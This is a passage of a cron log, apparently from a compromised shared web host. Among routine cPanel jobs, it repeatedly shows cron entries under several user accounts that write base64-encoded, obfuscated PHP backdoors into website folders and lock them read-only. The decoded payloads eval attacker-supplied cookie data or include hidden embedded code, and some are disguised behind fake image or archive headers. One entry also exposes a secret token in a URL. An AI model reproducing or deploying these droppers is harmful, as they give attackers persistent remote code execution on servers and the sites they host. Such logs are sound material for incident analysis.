ildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:40:02 medusa CROND[14964]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:40:02 medusa CROND[14944]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 20:40:02 medusa CROND[14973]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:40:02 medusa CROND[14945]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:41:01 medusa CROND[4026]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:41:01 medusa CROND[4033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:41:01 medusa CROND[4034]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:41:01 medusa CROND[4035]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:41:01 medusa CROND[4036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:41:01 medusa CROND[4037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:41:01 medusa CROND[4038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:41:01 medusa CROND[4040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:41:01 medusa CROND[4043]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:41:01 medusa CROND[4047]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:41:01 medusa CROND[4054]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:41:01 medusa CROND[4055]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:41:01 medusa CROND[4057]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:41:01 medusa CROND[4058]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:42:01 medusa CROND[22129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:42:01 medusa CROND[22351]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:42:01 medusa CROND[22395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:42:01 medusa CROND[22396]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:42:01 medusa CROND[22398]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:42:01 medusa CROND[22399]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:42:01 medusa CROND[22400]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:42:01 medusa CROND[22401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:42:01 medusa CROND[22402]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:42:01 medusa CROND[22403]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:42:01 medusa CROND[22408]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:42:01 medusa CROND[22413]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAk